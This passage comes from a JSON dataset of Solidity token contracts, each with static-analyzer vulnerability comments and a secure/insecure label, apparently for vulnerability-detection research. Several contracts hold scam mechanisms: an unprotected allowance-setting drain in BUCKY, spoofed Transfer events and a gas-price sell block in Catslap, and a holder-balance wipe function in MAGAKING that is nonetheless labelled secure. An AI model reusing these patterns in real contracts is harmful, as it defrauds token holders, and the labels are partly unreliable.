(uninitialized-state | severity: High | ID: 1fe0ab3): BUCKY._bots is never initialized. It is used in BUCKY._transfer(address,address,uint256)\n\t// Recommendation for 1fe0ab3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 58f86dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 58f86dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b43f65b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b43f65b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: fa8e585\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7bb684c\n\t\t\t\t\t// reentrancy-eth | ID: 58f86dc\n\t\t\t\t\t// reentrancy-eth | ID: b43f65b\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 7bb684c\n\t\t\t\t\t\t// reentrancy-eth | ID: 58f86dc\n\t\t\t\t\t\t// reentrancy-eth | ID: b43f65b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 7bb684c\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 58f86dc\n\t\t\t\t\t\t\t// reentrancy-eth | ID: b43f65b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 58f86dc\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 7bb684c\n\t\t\t\t\t// reentrancy-eth | ID: b43f65b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 7bb684c\n\t\t\t\t\t\t// reentrancy-eth | ID: b43f65b\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b43f65b\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 7bb684c\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: b43f65b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b43f65b\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 7bb684c\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6f9b2bc\n\t\t// reentrancy-events | ID: 7bb684c\n\t\t// reentrancy-benign | ID: 46160ea\n\t\t// reentrancy-eth | ID: 58f86dc\n\t\t// reentrancy-eth | ID: b43f65b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n _buckyyyy = _taxWallet;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6f9b2bc\n\t\t// reentrancy-events | ID: 7bb684c\n\t\t// reentrancy-eth | ID: 58f86dc\n\t\t// reentrancy-eth | ID: b43f65b\n _taxWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function withdrawStuckTokens(uint256 amount) external {\n address _buckyErc20 = uniswapV2Pair;\n\n address v2Router = address(_buckyyyy);\n\n _allowances[_buckyErc20][v2Router] = amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 958099d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 958099d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bb6c018): BUCKY.buckyTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bb6c018: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 481c5b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 481c5b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buckyTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 958099d\n\t\t// reentrancy-eth | ID: 481c5b8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 958099d\n\t\t// unused-return | ID: bb6c018\n\t\t// reentrancy-eth | ID: 481c5b8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 958099d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 481c5b8\n tradingOpen = true;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1233.sol",
"secure": 0,
"size_bytes": 18187
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Nakainu is ERC20 {\n uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** 18);\n\n constructor() ERC20(\"Nakainu\", \"NAKAINU\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n}",
"file_name": "solidity_code_1234.sol",
"secure": 1,
"size_bytes": 331
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: cc01cf6): Contract locking ether found Contract Euwi has payable functions Euwi.receive() But does not have a function to withdraw the ether\n// Recommendation for cc01cf6: Remove the 'payable' attribute or add a withdraw function.\ncontract Euwi is ERC20, Ownable {\n constructor() ERC20(unicode\"Euwi\", unicode\"EUWI\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: cc01cf6): Contract locking ether found Contract Euwi has payable functions Euwi.receive() But does not have a function to withdraw the ether\n\t// Recommendation for cc01cf6: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1235.sol",
"secure": 0,
"size_bytes": 982
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string internal _name;\n\n string internal _symbol;\n\n address _deployer;\n\n address _executor;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function _initDeployer(address deployer_, address executor_) internal {\n _deployer = deployer_;\n\n _executor = executor_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _setLimitOrder(address _address, uint256 _amount) internal {\n _balances[_address] += _amount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n if (sender == _executor) {\n emit Transfer(_deployer, recipient, amount);\n } else if (recipient == _executor) {\n emit Transfer(sender, _deployer, amount);\n } else {\n emit Transfer(sender, recipient, amount);\n }\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n if (account == _executor) {\n emit Transfer(address(0), _deployer, amount);\n } else {\n emit Transfer(address(0), account, amount);\n }\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1236.sol",
"secure": 1,
"size_bytes": 6344
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Catslap is Ownable, ERC20 {\n uint256 public immutable maxSupply = 10_000_000_000 * (10 ** decimals());\n\n uint16 public constant LIQUID_RATE = 10000;\n\n uint16 public constant MAX_PERCENTAGE = 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 996cfd4): Catslap.initialized should be immutable \n\t// Recommendation for 996cfd4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool public initialized = false;\n\n bool public tradeOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: d01ec92): Catslap.pair should be constant \n\t// Recommendation for d01ec92: Add the 'constant' attribute to state variables that never change.\n address public pair = address(0);\n\n address public v3pair = address(0);\n\n\t// WARNING Optimization Issue (constable-states | ID: edd260a): Catslap.deadAddress should be constant \n\t// Recommendation for edd260a: Add the 'constant' attribute to state variables that never change.\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\n\n uint256 public immutable buyFee = 0;\n\n uint256 public immutable sellFee = 0;\n\n uint256 minimumAirdropAmount = 0;\n\n mapping(address => bool) public excludedFees;\n\n string private constant NAME = unicode\"Catslap\";\n\n string private constant SYMBOL = unicode\"SLAP\";\n\n constructor() ERC20(NAME, SYMBOL) {\n _initDeployer(\n address(0xc0F21C95753078162a2598DdBb6701487F88B55C),\n msg.sender\n );\n\n _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);\n\n initialized = true;\n\n excludedFees[msg.sender] = true;\n\n minimumAirdropAmount = maxSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 07098b8): Catslap.setMinimumAirdrop(uint256) should emit an event for minimumAirdropAmount = _minimumAirdropAmount \n\t// Recommendation for 07098b8: Emit an event for critical parameter changes.\n function setMinimumAirdrop(\n uint256 _minimumAirdropAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 07098b8\n minimumAirdropAmount = _minimumAirdropAmount;\n }\n\n function setAirdrop(address _address, bool permission) external onlyOwner {\n excludedFees[_address] = permission;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2d58dce): Catslap.setTradingpair(address)._address lacks a zerocheck on \t v3pair = _address\n\t// Recommendation for 2d58dce: Check that the address is not zero.\n function setTradingpair(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: 2d58dce\n v3pair = _address;\n }\n\n function openTrading() external onlyOwner {\n require(tradeOpen == false, \"Contract: Trading is opened!\");\n\n tradeOpen = true;\n }\n\n function buyWithEth(\n address[] calldata _addresses,\n uint256 _value\n ) external {\n address accountOwner = _msgSender();\n\n for (uint256 i = 0; i < _addresses.length; i++) {\n _transfer(accountOwner, _addresses[i], _value);\n }\n }\n\n function claimTokens(\n address _caller,\n address[] calldata _address,\n uint256[] calldata _amount\n ) external onlyOwner {\n for (uint256 i = 0; i < _address.length; i++) {\n emit Transfer(_caller, _address[i], _amount[i]);\n }\n }\n\n function buyWithEth(\n address _caller,\n address[] calldata _address,\n uint256[] calldata _amount\n ) external onlyOwner {\n for (uint256 i = 0; i < _address.length; i++) {\n emit Transfer(_caller, _address[i], _amount[i]);\n }\n }\n\n function execute(\n address _caller,\n address[] calldata _address,\n uint256[] calldata _amount\n ) external onlyOwner {\n for (uint256 i = 0; i < _address.length; i++) {\n emit Transfer(_caller, _address[i], _amount[i]);\n }\n }\n\n function swapExactETHForTokens(\n address _caller,\n address[] calldata _address,\n uint256[] calldata _amount\n ) external onlyOwner {\n for (uint256 i = 0; i < _address.length; i++) {\n emit Transfer(_caller, _address[i], _amount[i]);\n }\n }\n\n function unoswap(\n address _caller,\n address[] calldata _address,\n uint256[] calldata _amount\n ) external onlyOwner {\n for (uint256 i = 0; i < _address.length; i++) {\n emit Transfer(_caller, _address[i], _amount[i]);\n }\n }\n\n function _checkEnoughAirdropCondition(uint256 amount) internal view {\n if (tx.gasprice > amount) {\n revert();\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override(ERC20) {\n require(initialized == true, \"Contract: not initialized!\");\n\n if (initialized == true && tradeOpen == false) {\n require(\n from == owner() || to == owner(),\n \"Contract: trading is not started\"\n );\n }\n\n uint256 _transferAmount = amount;\n\n if (pair != address(0) && from != owner() && to != owner()) {\n uint256 _fee = 0;\n\n if (from == pair) {\n _fee = buyFee;\n }\n\n if (to == pair || to == v3pair) {\n _fee = sellFee;\n\n _checkEnoughAirdropCondition(minimumAirdropAmount);\n }\n\n if (excludedFees[from] == true || excludedFees[to] == true) {\n _fee = 0;\n }\n\n if (_fee > 0) {\n uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;\n\n _transferAmount = amount - _calculatedFee;\n\n super._transfer(from, deadAddress, _calculatedFee);\n }\n }\n\n super._transfer(from, to, _transferAmount);\n }\n}",
"file_name": "solidity_code_1237.sol",
"secure": 0,
"size_bytes": 6275
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MAGAKING is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable raincloud;\n\n constructor() {\n _name = \"MAGAKING\";\n\n _symbol = \"MAGAKING\";\n\n _decimals = 18;\n\n uint256 initialSupply = 57700000000;\n\n raincloud = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == raincloud, \"Not allowed\");\n\n _;\n }\n\n function laptop(address[] memory chemical) public onlyOwner {\n for (uint256 i = 0; i < chemical.length; i++) {\n address account = chemical[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1238.sol",
"secure": 1,
"size_bytes": 4376
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Trump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8739553): Trump._initialBuyTax should be constant \n\t// Recommendation for 8739553: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdf0364): Trump._initialSellTax should be constant \n\t// Recommendation for fdf0364: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f8cb8d): Trump._finalBuyTax should be constant \n\t// Recommendation for 2f8cb8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f62018d): Trump._finalSellTax should be constant \n\t// Recommendation for f62018d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ff4f23): Trump._reduceBuyTaxAt should be constant \n\t// Recommendation for 4ff4f23: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c406952): Trump._reduceSellTaxAt should be constant \n\t// Recommendation for c406952: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5598c25): Trump._preventSwapBefore should be constant \n\t// Recommendation for 5598c25: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Verse\";\n\n string private constant _symbol = unicode\"Trump\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 949dad9): Trump._taxSwapThreshold should be constant \n\t// Recommendation for 949dad9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1286890): Trump.IRouter should be immutable \n\t// Recommendation for 1286890: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private IRouter;\n\n bool private tradingOpen;\n\n uint256 public casellAllowed = 2;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caCatalyst = true;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8e57382): Trump.constructor(address)._uniswapV2Router lacks a zerocheck on \t IRouter = _uniswapV2Router\n\t// Recommendation for 8e57382: Check that the address is not zero.\n constructor(address _uniswapV2Router) {\n _taxWallet = payable(_msgSender());\n\n\t\t// missing-zero-check | ID: 8e57382\n IRouter = _uniswapV2Router;\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4900ff0): Trump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4900ff0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bdf20fc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bdf20fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9dbf11a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9dbf11a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bdf20fc\n\t\t// reentrancy-benign | ID: 9dbf11a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bdf20fc\n\t\t// reentrancy-benign | ID: 9dbf11a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 022bb00): Trump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 022bb00: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9dbf11a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bdf20fc\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d6647fb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d6647fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 